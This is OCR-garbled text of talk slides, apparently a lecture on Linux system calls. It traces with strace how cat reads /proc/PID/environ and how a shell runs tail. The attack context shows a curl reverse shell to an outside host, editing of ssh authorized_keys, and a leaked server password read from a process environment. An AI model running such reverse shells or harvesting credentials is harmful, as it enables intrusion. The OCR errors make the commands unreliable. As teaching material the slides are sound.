PATH=/home/wurzel/bin:/home/wurzel/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/g
amesVULNERABLE_SERVER_PASSWORD=b6974f35b717c68ee1455840c884c4acSHELL=/bin/bashPND=/home/wur
zel LOGNAME=wurzel XDG_SESSION_TYPE=ttyMOTD_SHOWN=pamHOME=/home/wurzel LANG=C.UTF-8XDG_SESSION
_CLASS=userUSER=wurzel SHLVL=0XDG_SESSION_ID=565XDG_RUNTIME_DIR=/run/user/100@DBUS_SESSION_B
US_ADDRESS=unix:path=/run/user/100@/bus_=/home/wurzel/bin/vulnerableserver:-

a2



Or read(2)ing files

Ops - Curirevshell

X381 lll

> cat /proc/476982/environ

53



Or read(2)ing files

o0 e Ops - Curlrevshell X1
| > strace cat /proc/476982/environ >/dev/null




Or read(2)ing files

@ @® Ops - Curlrevshell i1

> strace cat /proc/476982/environ >/dev/null
execve("/usr/bin/cat", ["cat", "/proc/476982/environ"], @x7fff@ccf73d8 /* 16 vars */) = @

brk(NULL) = @x564792fecdd
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, @) = @x7f5d485a6000
access("/etc/1d.so.preload”, R_OK) = -1 ENOENT (No such file or directory)

openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3

55



Or read(2)ing files - Argv

@ @® Ops - Curlrevshell i1

> strace cat /proc/476982/environ >/dev/null
execve("/usr/bin/cat", ["cat", "/proc/476982/environ"], @x7fff@ccf73d8 /* 16 vars */) = @

brk(NULL) = @x564792feed00
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, @) = @x7f5d485a6000
access("/etc/1d.so.preload”, R_OK) = -1 ENOENT (No such file or directory)

openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3

o6



Or read(2)ing files - "The command"

@ = Ops - Curlrevshell i1

> strace cat /proc/476982/environ >/dev/null
execve("/usr/bin/cat", ["cat", "/proc/476982/environ"], @x7fff@ccf73d8 /* 16 vars */) = @

brk(NULL) = @x564792feecld0

mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, @) = @x7f5d485a6000
access("/etc/1d.so.preload”, R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3

a7



Or read(2)ing files

@ @® Ops - Curlrevshell i1

openat(AT_FDCWD, "/proc/476982/environ", O_RDONLY) = 3
newfstatat(3, "", {st_mode=S_IFREG|0400, st_size=0, ...}, AT_EMPTY_PATH) = 0

fadvise64(3, @, @, POSIX_FADV_SEQUENTIAL) = @
mmap(NULL, 139264, PROT_READ|PROT_WRITE, MAP_PRIVATE IMAP_ANONYMOUS, -1, @) = 0x7f5d48336000

read(3, "PATH=/home/wurzel/bin:/home/wurz"..., 131072) = 454
write(l, "PATH=/home/wurzel/bin:/home/wurz"..., 454) = 454

a8



Or read(2)ing files - open(2)

@ @® Ops - Curlrevshell i1

openat(AT_FDCWD, "/proc/476982/environ”, O_RDONLY) = 3
newfstatat(3, "", {st_mode=S_IFREG|0400, st_size=0, ...}, AT_EMPTY_PATH) = 0

fadvise64(3, @, @, POSIX_FADV_SEQUENTIAL) = @
mmap(NULL, 139264, PROT_READ|PROT_WRITE, MAP_PRIVATE IMAP_ANONYMOUS, -1, @) = 0x7f5d48336000

read(3, "PATH=/home/wurzel/bin:/home/wurz"..., 131072) = 454
write(1l, "PATH=/home/wurzel/bin:/home/wurz"..., 454) = 454
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Or read(2)ing files - read(2)

@ @® Ops - Curlrevshell i1

openat(AT_FDCWD, "/proc/476982/environ", O_RDONLY) = 3
newfstatat(3, "", {st_mode=S_IFREG|0400, st_size=0, ...}, AT_EMPTY_PATH) = 0

fadvise64(3, @, @, POSIX_FADV_SEQUENTIAL) = @
mmap(NULL, 139264, PROT_READ|PROT_WRITE, MAP_PRIVATE IMAP_ANONYMOUS, -1, 0) = @x7f5d48336000

read(3, "PATH=/home/wurzel/bin: /home/wurz". .., 131872) = 454
write(1l, "PATH=/home/wurzel/bin:/home/wurz"..., 454) = 454

&0



Or read(2)ing files - The important part

@ = Ops - Curlrevshell i1

openat(AT_FDCWD, "/proc/476982/environ”, O_RDONLY) = 3
newfstatat(3, "", {st_mode=S_IFREG|@40@, st_size=0, ...}, AT_EMPTY_PATH) = @

fadvise64(3, @, @, POSIX_FADV_SEQUENTIAL) = @
mmap(NULL, 139264, PROT_READ|PROT_WRITE, MAP_PRIVATE IMAP_ANONYMOUS, -1, @) = 0x7f5d48336000

read(3, "PATH=/home/wurzel/bin:/home/wurz”..., 131072) = 454
write(l, "PATH=/home/wurzel/bin:/home/wurz"..., 454) = 454

B1



@ @ Ops - ed(1) K2

2 P You are here 1 openat(AT_FOCWD, “/proc/476982/environ”, O_RDONLY) = 3
0 p e n a t = rep Z read(3, “PATH=/home/wurzel/bin: homeswurz”..., 131672) = 454

3 write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454
Registers
Syscall
rax
number

rdi  Directory FD
rsi *Pathname

rdx  Flags

/proc/476982/environ\xee

Memory 62




@ @ Ops - ed(1) K2

2 P You are here 1 openat(AT_FOCWD, “/proc/476982/environ”, O_RDONLY) = 3
0 p e n a t = rep Z read(3, “PATH=/home/wurzel/bin: homeswurz”..., 131672) = 454

3 write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454
Registers
Syscall
rax y 257
number

rdi  Directory FD
rsi *Pathname

rdx  Flags

/proc/476982/environ\xee

Memory 63




openat(2) - Prep "Yeuseheer,

® @ Ops - ed(1) K2
openat{AT_FOCWD, "/proc/476982/environ”, O_RDONLY) = 3
read(3, “PATH=/home/wurzel/bin: homeswurz”..., 131672) = 454
write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454
Registers
Syscall
rax y 257
number
rdi | Directory FD A AT_FCWD (-1688)
rsi | *Pathname
rdx  Flags

/proc/476982/environ\xee

Memory

64



openat(2) - Prep "Yeuseheer,

® @ Ops - ed(1) K2
openat{AT_FOCWD, "/proc/476982/environ”, O_RDONLY) = 3
read(3, “PATH=/home/wurzel/bin: homeswurz”..., 131672) = 454
write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454
Registers
Syscall
rax y 257
number
rdi | Directory FD A AT_FCWD (-1688)
rsi *Pathname Bx0verHere
rdx  Flags

/proc/476982/environ\xee

Memory

65



@ @ Ops - ed(1) K2

2 P You are here 1 openat(AT_FOCWD, “/proc/476982/environ”, O_RDONLY) = 3
O p e n a t = rep Z read(3, “PATH=/home/wurzel/bin: homeswurz”..., 131672) = 454
3 write(1l, "PATH=/home/wurzel/bin:/home/wurz"..., 454) = 454

Registers

Syscall

number 257

rax

rdi | Directory FD A AT_FCWD (-1688)

Bx0verHere

rdx  Flags

/proc/476982/environ\x00

Memory




openat(2) - Prep "Yeuseheer,

® @ Ops - ed(1) K2
openat{AT_FOCWD, "/proc/476982/environ”, O_RDONLY) = 3
read(3, “PATH=/home/wurzel/bin: homeswurz”..., 131672) = 454
write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454
Registers
Syscall
rax y 257
number
rdi | Directory FD A AT_FCWD (-1688)
rsi *Pathname Bx0verHere
rdx  Flags

/proc/476982/environ\xee

Memory

67



openat(2) - Prep "Yeuseheer,

® @ Ops - ed(1) K2
openat{AT_FOCWD, "/proc/476982/environ”, O_RDONLY) = 3
read(3, “PATH=/home/wurzel/bin: homeswurz”..., 131672) = 454
write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454
Registers
Syscall
rax y 257
number
rdi | Directory FD A AT_FCWD (-1688)
rsi *Pathname Bx0verHere
rdx Flags O_RDONLY (@)

/proc/476982/environ\xee

Memory

68



o Ops - ed(1) K2

2 K You are here 1 openat{AT_FDCWD, "/proc/476982 /environ”, O_RDONLY) = 3
O p e n a t = ernel 2 read(3, “PATH=/home/wurzel/bin:/homeswurz”..., 131872) = 454
3

/proc/476982/environ\x00

Memory

write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454

Registers

Syscall

number 257

rax

rdi | Directory FD A AT_FCWD (-1688)
rsi *Pathname Bx0verHere

rdx Flags O_RDONLY (@)

Pid FD Inode Device
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o Ops - ed(1) K2

2 K You are here 1 openat{AT_FDCWD, "/proc/476982 /environ”, O_RDONLY) = 3
O p e n a t = ernel 2 read(3, “PATH=/home/wurzel/bin:/homeswurz”..., 131872) = 454
3

/proc/476982/environ\x00

Memory

write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454

Registers

Syscall

number 257

rax

rdi | Directory FD A AT_FCWD (-1688)
rsi *Pathname Bx0verHere

rdx Flags O_RDONLY (@)

Pid FD Inode Device

477234 3 1488718 8,20



o Ops - ed(1) K2

2 K You are here 1 openat{AT_FDCWD, "/proc/476982 /environ”, O_RDONLY) = 3
O p e n a t = ernel 2 read(3, “PATH=/home/wurzel/bin:/homeswurz”..., 131872) = 454
3

/proc/476982/environ\x00

Memory

write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454
Registers
Fax File
Descriptor
rdi
rsi
rdx
Pid FD Inode Device

477234 3 1488718 8,20



openat ( 2) - Retury,Yeuarehere

[=1

L P

Ops - ed(1) K2
openat{AT_FOCWD, "/proc/476982/environ”, O_RDONLY) = 3
read(3, “PATH=/home/wurzel/bin: homeswurz”..., 131672) = 454
write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454
Registers
Fax File
Descriptor

rdi

rsi

rdx

/proc/476982/environ\x0e

Memory

72



read(2) - Prep

You are here

[=1

Ops - ed(1)

K2

openat{AT_FOCWD, "/proc/476982/environ”, O_RDONLY) = 3

Z read(3, “PATH=/home/wurzel/bin: homeswurz”..., 131672) = 454
3 write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454
Registers
Syscall
rax
number
rdi FD
rsi *Buffer
rdx Size

/proc/476982/environ\x0e

Memory

73



® @ Ops - ed(1) K2
openat{AT_FOCWD, "/proc/476982/environ”, O_RDONLY) = 3

r ea d ( 2 ) = Prep You are here 2 read(3, “PATH=/home/wurzel/bin:/homeswurz™..., 131872) = 454

[=1

3 write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454
Registers
Syscall
rax y (5]
number
rdi FD
rsi *Buffer
rdx Size

/proc/476982/environ\x0e

Memory 74




® @ Ops - ed(1) K2
openat{AT_FOCWD, "/proc/476982/environ”, O_RDONLY) = 3

r ea d ( 2 ) = Prep You are here 2 read(3, “PATH=/home/wurzel/bin:/homeswurz™..., 131872) = 454

[=1

3 write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454
Registers
Syscall
rax y (5]
number
rdi FD 3
rsi *Buffer
rdx Size

/proc/476982/environ\x0e

Memory 75




read(2) - Prep

You are here

@ @ Ops - ed(1) K2

1 openat{AT_FOCWD, "/proc/476982/environ”, O_RDONLY) = 3
Z read(3, “PATH=/home/wurzel/bin: homeswurz”..., 131672) = 454
3 write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454
Registers
Syscall
rax y a
number
rdi | FD 3
rsi *Buffer Ox0verThere
rdx Size 131872

/proc/476982/environ\xee

Memory

76



read(2) - Prep

You are here

[=1

Fi

Ops - ed(1) K2
openat{AT_FOCWD, "/proc/476982/environ”, O_RDONLY) = 3
read(3, “PATH=/home/wurzel/bin: homeswurz”..., 131672) = 454
write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454
Registers
Syscall
rax y a
number
rdi | FD 3
Ox0verThere
rdx Size 131872

/proc/476982/environ\xee

Memory

77



read(2) - Prep

You are here

@ @ Ops - ed(1) K2

1 openat{AT_FOCWD, "/proc/476982/environ”, O_RDONLY) = 3
Z read(3, “PATH=/home/wurzel/bin: homeswurz”..., 131672) = 454
3 write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454
Registers
Syscall
rax y a
number
rdi | FD 3
rsi *Buffer Ox0verThere
rdx Size 131872

/proc/476982/environ\xee

Memory

78



read(2) - Return

& @ Ops - ed(1) K2
1 openat{AT_FOCWD, "/proc/476982/environ”, O_RDONLY) = 3

You are here : read(3, "PATH=/home/wurzel/bin:/home/wurz”..., 131072) = 454
3 write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454

Registers
Number of
rax bytes read 454
rdi
rsi
rdx

N

/proc/476982/environ\x0e

PATH=/home /wurzel/bin: /home/wurzel/bin: fusrflecal/bin: fusr/bin:fbin: fusr/local /fgames: fusr/games’\ x@8VULNE
RABLE_SERVER_PASSWORD=b6974f35b717c6Bee1455848c884cdac) xBBSHELL=/bin/bash'\ xBBFND= /home fwurzel\ x@BLOGNAME
=wurzel) xBBXDG_SESSION_TYPE=tty\xBANOTD_SHOWM=pam' xBBHOME= fhome fwurzel)\ xBBLANG=C . UTF-8\»B8XDG_SESSION_CL
ASS=user\xBAUSER=wurzel \xB8SHLYL=0"x80XDG_SESSION_ID=565%x08XDG_RUNTIME_DIR=/run/fuser /1888 x@80BUS _SESSL
ON_BUS_ADDRESS=unix:path=/run/user /1888 /bus\x@8_= /home/wurzel/bin/vulnerableserver\x8@

Memory

79



write(2) - Prep

@ @ Ops - ed(1) K2

1 openat{AT_FOCWD, "/proc/476982/environ”, O_RDONLY) = 3
Z read(3, “PATH=/home/wurzel/bin: homeswurz”..., 131672) = 454
You are here : write(1, "PATH=/home/wurzel/bin:/home/wurz”..., 454) = 454
Registers
Syscall
rax
number
rdi FD 1
rsi  *Buffer Bx0verThere
rdx @ Size 454

N

/proc/476982/environ\x0e

PATH=/home /wurzel/bin: /home/wurzel/bin: fusrflecal/bin: fusr/bin:fbin: fusr/local /fgames: fusr/games’\ x@8VULNE
RABLE_SERVER_PASSWORD=b6974f35b717c6Bee1455848c884cdac) xBBSHELL=/bin/bash'\ xBBFND= /home fwurzel\ x@BLOGNAME
=wurzel) xBBXDG_SESSION_TYPE=tty\xBANOTD_SHOWM=pam' xBBHOME= fhome fwurzel)\ xBBLANG=C . UTF-8\»B8XDG_SESSION_CL
ASS=user \xBAUSER=wurzel \xB8SHLYL=0"x80XDG_SESSION_ID=456x08XDG_RUNTIME_DIR=/run/fuser /1888 x@80BUS _SESSL
ON_BUS_ADDRESS=unix:path=/run/user /1888 /bus\x@8_= /home/wurzel/bin/vulnerableserver\x8@

Memory

a0



write(2) - Stdout

@ @ Ops - ed(1) K2

1 openat{AT_FOCWD, "/proc/476982/environ”, O_RDONLY) = 3
Z read(3, “PATH=/home/wurzel/bin: homeswurz”..., 131672) = 454
You are here : write(1, "PATH=/home/wurzel/bin:/home/wurz”..., 454) = 454
Registers
Syscall
rax
number
rdi FD 1
rsi  *Buffer Bx0verThere
rdx @ Size 454

N

/proc/476982/environ\x0e

PATH=/home /wurzel/bin: /home/wurzel/bin: fusrflecal/bin: fusr/bin:fbin: fusr/local /fgames: fusr/games’\ x@8VULNE
RABLE_SERVER_PASSWORD=b6974f35b717c6Bee1455848c884cdac) xBBSHELL=/bin/bash'\ xBBFND= /home fwurzel\ x@BLOGNAME
=wurzel) xBBXDG_SESSION_TYPE=tty\xBANOTD_SHOWM=pam' xBBHOME= fhome fwurzel)\ xBBLANG=C . UTF-8\»B8XDG_SESSION_CL
ASS=user \xBAUSER=wurzel \xB8SHLYL=0"x80XDG_SESSION_ID=456x08XDG_RUNTIME_DIR=/run/fuser /1888 x@80BUS _SESSL
ON_BUS_ADDRESS=unix:path=/run/user /1888 /bus\x@8_= /home/wurzel/bin/vulnerableserver\x8@

Memory

81



write(2) - Return

® @ Ops - ed(1) K2
1 openat{AT_FOCWD, "/proc/476982/environ”, O_RDONLY) = 3

Z read(3, “PATH=/home/wurzel/bin: homeswurz”..., 131672) = 454
3 write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454

Registers

Number of
bytes written o4

rax
rdi
rsi

rdx

/proc/476982/environ\x0e

PATH=/home /wurzel/bin: /home/wurzel/bin: fusrflecal/bin: fusr/bin:fbin: fusr/local /fgames: fusr/games’\ x@8VULNE
RABLE_SERVER_PASSWORD=b6974f35b717c6Bee1455848c884cdac) xBBSHELL=/bin/bash'\ xBBFND= /home fwurzel\ x@BLOGNAME
=wurzel) xBBXDG_SESSION_TYPE=tty\xBANOTD_SHOWM=pam' xBBHOME= fhome fwurzel)\ xBBLANG=C . UTF-8\»B8XDG_SESSION_CL
ASS=user \xBAUSER=wurzel \xB8SHLYL=0"x80XDG_SESSION_ID=456x08XDG_RUNTIME_DIR=/run/fuser /1888 x@80BUS _SESSL
ON_BUS_ADDRESS=unix:path=/run/user /1888 /bus\x@8_= /home/wurzel/bin/vulnerableserver\x8@

Memory

82



® @ Ops - ed(1) K2
openat{AT_FOCWD, "/proc/476982/environ”, O_RDONLY) = 3

N 1
w r 1t e ( 2 ) = Retu rn Z read(3, “PATH=/home/wurzel/bin: homeswurz”..., 131672) = 454
3

write(l, "PATH=/home/wurzel/bin:/homeswurz®..., 454) = 454

_ Registers
Ops - Curlrevshell L #1

_ . > cat /proc/476982/environ

PATH=/home/wurzel/bin:/home/wurzel/bin: /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/g —
amesVULNERABLE_SERVER_PASSWORD=b6974f35b717c68eel1455840c884c4acSHELL=/bin/bashPWD=/home/wur
zel LOGNAME=wurzel XDG_SESSION_TYPE=ttyMOTD_SHOWN=pamHOME=/home/wurzel LANG=C.UTF-8XDG_SESSION '
_CLASS=userUSER=wurzel SHLVL=0XDG_SESSION_ID=565XDG_RUNTIME_DIR=/run/user/1000DBUS_SESSION_B

US_ADDRESS=unix:path=/run/user/1000/bus_=/home/wurzel/bin/vulnerableserver> '
rax

Y

-
-
|

PATH=/home /wurzel/bin: /home/wurzel/bin: fusrflecal/bin: fusr/bin:fbin: fusr/local /games: fusr/games\ x@8VULNE
. RABLE_SERVER_PASSWORD=b6974f35b717c6Bee1455848c884cdac) xBASHELL=/bin/bash'\ xBBFND= /home fwurzel\ x@BLOGNAME
/ proc J476982 /environ\ X608 | =wrzel\x8oxD6_SESSION_TYPE=tty'\xBBHOTD_SHONN=pam\xBBHOME=/home fwur ze 1\ xBALANG=C. UTF-8\x88X0G_SESSION_CL
ASS=user \xBOUSER=wurzel \x@8SHLYL=0"x08XDG_SESSION_ID=456'xB@XDGE_RUNTIME _DIR=/run/user/1088%\x08DBUS _SESSI
ON_BUS_ADDRESS=unix:path=/run/user /1888 /bus\x@8_= /home/wurzel/bin/vulnerableserver\x8@

Memory 83




What are the system calls?

eace [ ‘ N filippo.io : &

The return value is placed in wrax .

Terax Mame Maniual Entry point
(4] read read{2) 5ys read

1 write write(2) 5ys it

Fl open epen(d) 5%5 DDEn

5 close clos=ail) 5¥s Close

4 stat stat{d] 5ys newsiat
5 fstat fstak(d) sys newfstat
& Istat statil] 5¥5 newlstat
7 poll pollil) sy poll

] lseek iseekid] 55 lseek

9 mmag mmaniz) 5ys kys mmap_pooff

4t M

https://filippo.io/linux-syscall-table




It's programs/syscalls/turtles all the way down

® Ops - Curlrevshell i1



It's programs/syscalls/turtles all the way down

® B Ops - Curlrevshell

/var/log/procrastinationedr.log

1

86



It's programs/syscalls/turtles all the way down

® B Ops - Curlrevshell

tail /var/leog/procrastinationedr.log

1

a7



It's programs/syscalls/turtles all the way down

® B Ops - Curlrevshell

> echo tail /var/leg/procrastinationedr.log | /bin/sh

1

a8



It's programs/syscalls/turtles all the way down

@ @ Ops - Curlrevshell 1

> echo tail /var/log/procrastinationedr.log | /bin/sh

2025/09/10 10:14:32 5 /bin/sh

2025/09/10 10:14:32 5 curl -sk --pinnedpubkey sha256//CkYWAzyh4tRP1VZMsTIXpMSXNOVK7Bas1RHPCD2/01=
https://ops.not-hdx.lol:4444/1/34kwj8cbx2j7q -N

2025/09/10 10:14:46 5 ps awwwfux

2025/@9/10 10:14:54 5 ed .ssh/authorized_keys

2025/09/1@ 10:16:09 5 cat /proc/476982/environ

2025/@9/10 10:16:21 5 strace cat /proc/476982/environ

2025/09/10 10:16:21 5 cat /proc/476982/environ

2025/09/10 10:17:01 5 /usr/sbin/CRON -f

2025/09/10 10:19:21 5 /bin/sh

2025/09/10 10:19:21 5 tail /var/log/procrastinationedr.log




It's programs/syscalls/turtles all the way down

& & Ops - Curlrevshell

echo tail /var/log/procrastinationedr.log | /bindsh

1



It's programs/syscalls/turtles all the way down

& & Ops - Curlrevshell

echo tail /var/log/procrastinationedr.log | strace -f -s B4 /bin/sh =/dev/null

1



It's programs/syscalls/turtles all the way down

e @ Ops - Curlrevshell X1

= echo tail /var/log/procrastinationedr.log | strace -f -5 B4 /bin/sh =/dev/null
execve("/bin/sh", ["/bin/sh"], Ox7ffcl47653k8 /* 16 vars */) = @

bri{NULLY = Bx556f3dcalng
mmap(NULL, 8192, PROT_READIPROT_WRITE, MAP_PRIVATE |MAP_ANONYMOUS, -1, @) = @x7f7c95455808
access("/ete/1d. so.preload”, R_OK) = -1 ENOENT (Mo such file or directory)

openat{AT_FDCWD, "/etc/ld.so.cache", O_RDOMLY|Q_CLOEXEC) = 3

newfstatat(3, "", {st_mode=S_IFREGIQG44, st_size=25831, ...}, AT_EMPTY_PATH) = @

mmap{NULL, 25831, PROT_READ, MAP_PRIVATE, 3, @) = Bx7f7cO544c000

close{3) =@

openat{AT_FDOND, "/1ib/x86_64-linux-gnu/libc.so.6", O_RDOMLYIO_CLOEXEC) = 3

read(3, "\177ELFAZANINIAINOWENENONENENDWEN I NE> NN I NENEN DN 20 E 5 2NDNEN BN B NBEN BN NN BN DN BT IS NN N BN BN DB BN DEN B B DN 1B DENDEN D T

g2



It's programs/syscalls/turtles all the way down

e @ Ops - Curlrevshell X1

= echo tail /var/log/procrastinationedr.log | strace -f -s 64 /bin/sh >/dev/null
execve("/bin/sh", ["/bin/sh"], Ex?F'Fcl4?653bE /* 16 vars ) =10

bri(NULL) = @x556f3dcaso0
mmap(NULL, 8192, PROT_READIPROT_WRITE, MAP_PRIVATE |MAP_ANONYMOUS, -1, @) = @x7f7c95455808
access("/ete/1d. so.preload”, R_OK) = -1 ENOENT (Mo such file or directory)

openat{AT_FDCWD, "/etc/ld.so.cache", O_RDOMLY|Q_CLOEXEC) = 3
newfstatat(3, ", {st_mode=S_IFREG|@044, st_size=25831, ...}, AT_EMPTY_PATH) =
mmap (NULL , 25331 PROT_READ, MAP_PRIVATE, 3, @) = Bx7f7c05442000
close{3) =@
openat{AT_FDOND, "/1ib/x86_64-linux-gnu/libc.so.6", O_RDOMLYIO_CLOEXEC) = 3
read(3, "“177ELFWZNINIAINWONONENGONENENENINE N 1NENENAN 20N 2N BN BN DN BEN BN BN N BN BN BN BN T 35NN BN BN BN BN DEN B BN BN 16N BEN BEN B T




It's programs/syscalls/turtles all the way down

e @ Ops - Curlrevshell X1

read(@, "tail /var/log/procrastinationedr.log\n”, 8192) = 37

newfstatat(AT_FDOWD, "/home/wurzel/bin/tail”, @x7ffe87f4960@8, @) = -1 ENOENT (Mo such file or directory)
newfstatat(AT_FDOWD, "/home/wurzel/bin/tail”, @x7ffel7F49600, @) = -1 ENOENT (Mo such file ar directory)
rnewfstatat(AT_FDOWD, "/usr/local/binftail", @x7ffelB7f49600, @) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDOWD, "/usr/bin/tail”, {st_mode=S_IFREGIB755, st_size=76944, ...}, @) = @
rt_sigprocmask(SIG_SETMASK, ~[RTMIN RT_1], NULL, 8) =@
vfork(strace: Process 477163 attached

zunfinished ...»

[pid 477163] rt_sigprocmask({SIG_SETMASK, [], ~[KILL STOP RTMIN RT_1], 8) =@

[pid 477163] execve("/usr/bin/tail”, [Mtail”, "/var/log/procrastinationedr.log"], @xS56f1d49428d48 /* 16 vars */ <unfinished ...»
[pid 477162] <... vfork resumed=) = 477163

94



It's programs/syscalls/turtles all the way down

e @ Ops - Curlrevshell X1

read(®, "tail /var/log/procrastinationedr.log\n”, 8192) = 37
newfstatat(AT_FDCWD, "/home/wurzel/bin/tail”, @x7ffe87f4960@, @) = -1 ENOENT (Mo such file or directory)
newfstatat(AT_FDOWD, "/home/wurzel/bin/tail”, @x7ffe87f40600, @) = -1 ENDENT (Mo such file or directory)
newfstatat(AT_FDOWD, "/usr/local/binftail", @x7ffeB7f49600, 0) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDOWD, "/usr/bin/tail”, {st_mode=S_IFREGI@755, st_size=76944, ...}, @) = @
rt_sigprocmask(SIG_SETMASK, ~[RTMIN RT_1], NULL, 8) = @
vfork(strace: Process 477163 attached

zunfinished ...»

[pid 477163] rt_sigprocmask({SIG_SETMASK, [], ~[KILL STOP RTMIN RT_1], 8) =@

[pid 477163] execve("/usr/bin/tail”, [Mtail”, "/var/log/procrastinationedr.log"], @xS56f1d49428d48 /* 16 vars */ <unfinished ...»
[pid 477162] <... vfork resumed=) = 477163

85



It's programs/syscalls/turtles all the way down

e @ Ops - Curlrevshell X1

read(®, "tail /var/log/procrastinationedr.logn”, 8192) = 37

newfstatat(AT_FDCWD, "/home/wurzel/bin/tail”, @x7ffed7f49600, @) = -1 ENOENT (Mo such file or directory)
newfstatat(AT_FDOWD, "/home/wurzel/bin/tail”, @x7ffel7F49600, @) = -1 ENOENT (Mo such file ar directory)
rnewfstatat(AT_FDOWD, "/usr/local/binftail", @x7ffelB7f49600, @) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/usr/bin/tail", {st_mode=S_IFREGI@755, st_size=76944, ...}, @) = @
rt_sigprocmask(SIG_SETMASK, ~[RTMIN RT_1], NULL, 8) = @
wfork(strace: Process 477163 attached

<unfinished ...»

[pid 477163] rt_sigprocmask({SIG_SETMASK, [], ~[KILL STOP RTMIN RT_1], 8) =@

[pid 477163] execve("/usr/bin/tail”, [Mtail”, "/var/log/procrastinationedr.log"], @xS56f1d49428d48 /* 16 vars */ <unfinished ...»
[pid 477162] <... vfork resumed=) = 477163

96



It's programs/syscalls/turtles all the way down

& & Ops - Curirevshell

read(®, "tail /var/log/procrastinationedr.logn”, 8192) = 37

newfstatat(AT_FDCWD, "/home/wurzel/bin/tail”, @x7ffed7f49600, @) = -1 ENOENT (Mo such file or directory)
newfstatat(AT_FDOWD, "/home/wurzel/bin/tail”, @x7ffel7F49600, @) = -1 ENOENT (Mo such file ar directory)
rnewfstatat(AT_FDOWD, "/usr/local/binftail", @x7ffelB7f49600, @) = -1 ENOENT (No such file or directory)
newfstatat(AT_FDCWD, "/usr/bin/tail", {st_mode=S_IFREGI@755, st_size=76944, ...}, @) = @
rt_sigprocmask(SIG_SETMASK, ~[RTMIN RT_1], NULL, 8) = @
wfork(strace: Process 477163 attached

<unfinished .

[pid 477163] rt 51gprncm05k{515 SETMASK, [], ~[KILL STOP RTMIN RT_1], 8) =

KH

[pid 477163] execve{"!usr#btn!tatl", ["tall' " /var/log/procrastinationedr. 1ng ], 0x556F1d9428d8 /* 16 vars */ <unfinished .

[pid 477162] <... vfork rESumed>} = 477163

a7



It's programs/syscalls/turtles all the way down

& @ Ops - Curlrevshell X1

[pid 477163] openat(AT_FDCWD, "/var/log/procrastinationedr.log", O_RDONLY) = 3

[pid 477163] newfstatat(3, "", {st_mode=S_IFREGI@644, st_size=1799@8, ...}, AT_EMPTY_PATH) = @

[pid 477163] lseek(3, @, SEEK_CUR) =0

[pid 477163] lseek(3, @, SEEK_END) = 179908

[pid 477163] lseek(3, 172032, SEEK_SET) = 172032

[pid 477163] read(3, "usr/binfenv -1 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/us"..., 7876) = 7876
[pid 477163] newfstatat(l, "", {st_mode=S_IFCHRI|@666, st_rdev=makedev(Bx1, @x3), ...}, AT_EMPTY_PATH) = @
[pid 477163] ioctl{l, TCGETS, @x7ffcB2foccO@) = -1 ENOTTY (Inappropriote ioctl for device)

[pid 477163] read(3, "", @) =@
[pid 477163] close(3) =0
[pid 477163] write(1l, "2825/09/18 1@:14:54 5 ed .ssh/outhorized_keys'\n2@25/09/10 18:16:0"..., 458) = 458

o8



It's programs/syscalls/turtles all the way down

e @ Ops - Curlrevshell X1

[pid 477163] openat(AT_FDCWD, "/var/log/procrastinationedr.log”, O_RDONLY) = 3

[pid 477163] newfstatat(3, "", {st_mode=S_IFREGIQ&44, st_size=1799@8, ...}, AT_EMPTY_PATH) = @

[pid 477163] lseek(3, @, SEEK_CUR) =0

[pid 477163] lseek(3, @, SEEK_END) = 179908

[pid 477163] lseek(3, 172032, SEEK_SET) = 172032 - -

[pid 477163] read(3, "usr/binfenv -1 PATHuHusrflncﬁlfsbin:fusrfluculfbin:fusrfsbin:fus",,_, 7876) = 7876
[pid 477163] newfstatat(l, "", {st_mode=S_IFCHR|0666, st_rdev=makedev(@x1, 8x3), ...}, AT_EMPTY_PATH) = 0
[pid 477163] ioctl{l, TCGETS, @x7ffcB2foccO@) = -1 ENOTTY (Inappropriote ioctl for device)

[pid 477163] read(3, "", @) =@
[pid 477163] close(3) =0
[pid 477163] write(1l, "2825/09/18 1@:14:54 5 ed .ssh/outhorized_keys'\n2@25/09/10 18:16:0"..., 458) = 458

a9



It's programs/syscalls/turtles all the way down

[pid 477163]
[pid 477163]
[pid 477163]
[pid 477163]
[pid 477163]
[pid 477163]
[pid 477163]
[pid 477163]

Ops - Curlrevshell TH1

openat(AT_FDCWD, "/var/loa/procrastinationedr.log”, O_RDONLY) =

newfstatat(3, "", {st_mode=5_IFREG|D&44, st_size=1799@8, ...}, AT_EMPTY_PATH) = @

lseak(3, @, SEEK_CUR) =0

lseek(3, @, SEEK_END) = 179908

